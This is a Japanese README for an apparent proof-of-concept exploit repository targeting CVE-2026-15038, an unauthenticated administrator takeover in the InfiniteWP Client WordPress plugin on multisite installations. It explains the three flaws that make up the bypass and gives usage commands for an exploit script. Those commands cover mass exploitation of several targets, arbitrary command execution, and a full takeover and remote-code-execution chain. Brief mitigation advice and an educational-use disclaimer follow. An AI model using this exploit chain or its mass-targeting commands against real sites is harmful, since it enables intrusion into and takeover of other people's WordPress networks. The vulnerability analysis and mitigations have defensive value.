🚨 CVE-2026-15038 — InfiniteWP クライアント管理者乗っ取り

WordPress マルチサイトにおける未認証の管理者アカウント乗っ取り

📋 概要

WordPress 用プラグイン InfiniteWP Client（< 1.13.6）には、マルチサイト環境 に影響を与える重大な認証バイパス脆弱性が存在します。

未認証の攻撃者は以下のことが可能です：

🔓 すべての認証チェックをバイパス
🔑 自身の暗号鍵をバインド
👑 管理者セッションを乗っ取り
💻 リモートコード実行 (RCE) を達成
🌐 WordPress ネットワーク全体を侵害

🔍 根本原因の分析

🐛 バグ #1：接続状態の不一致

if (!$iwp_mmb_core->get_option('iwp_client_action_message_id') 
    && !$iwp_mmb_core->get_option('iwp_client_public_key'))

リーダー（読み取り側）：get_site_option() を使用 → ネットワークレベル（wp_sitemeta）から読み取り
ライター（書き込み側）：update_blog_option() を使用 → ブログごと（wp_X_options）に書き込み

💥 結果：マルチサイトでは、ガードは常に false を返します — 再ペアリングが常に許可されます。

🐛 バグ #2：アクティベーションキーのバイパス

if(trim($activation_key) != get_option('iwp_client_activate_key')){

アクティベーション後、キーは削除される → get_option() は false を返す
攻撃者は activation_key を送信しない → trim(null) → ''
PHP の緩い比較：'' != false → false → チェックを通過 🎯

🐛 バグ #3：攻撃者制御の鍵ペア

攻撃者は自身の RSA 鍵ペアを生成
リクエストに自身で署名 → openssl_verify() が成功
プラグインは攻撃者の鍵をネットワーク内のすべてのブログにバインド

🚀 悪用チェーン

graph LR
    A[Send POST Request] --> B[Add Site Action]
    B --> C[Guard Bypassed]
    C --> D[Activation Key Check Fails]
    D --> E[Signature Verifies]
    E --> F[Attacker Key Bound]
    F --> G[Full Admin Access]
    G --> H[RCE Achieved]

💻 インストール

# Clone the repository
git clone https://github.com/yourusername/CVE-2026-15038.git
cd CVE-2026-15038

# Install dependencies
pip install -r requirements.txt

🎯 使用方法

基本的な単一ターゲット

python3 exploit.py -t https://wordpress.ddev.site

大量悪用（マスエクスプロイト）

python3 exploit.py -t https://target1.com -t https://target2.com -t https://target3.com

カスタムコマンドの実行

python3 exploit.py -t https://wordpress.ddev.site --command "wp plugin install hello-dolly --activate"

完全な攻撃チェーン

python3 exploit.py -t https://wordpress.ddev.site --takeover --rce

📂 ファイル構成

File	Description
`exploit.py`	🐍 大量悪用をサポートするメインのエクスプロイトスクリプト
`requirements.txt`	📦 Python 依存関係
`README.md`	📖 このドキュメント

⚠️ 重要な注意事項

✅ WordPress マルチサイト環境で動作
❌ 単一サイト環境では効果なし
🔒 InfiniteWP Client 1.13.6 で修正済み
🔐 常に最新バージョンへ更新してください

🛡️ 緩和策

即時対応：InfiniteWP Client ≥ 1.13.6 に更新
確認：不審な管理者ユーザーがいないかチェック
監査：ログ内の最近の add_site リクエストを確認
監視：異常なプラグインアクティビティに注意

🔗 リソース

⚖️ 免責事項

このツールは教育およびセキュリティテスト目的のみです。所有しているシステム、またはテストする明示的な許可を得たシステムでのみ使用してください。作者は誤用に対する責任を負いません。

By-Poloss..-..CVE-2026-15038-POC

人気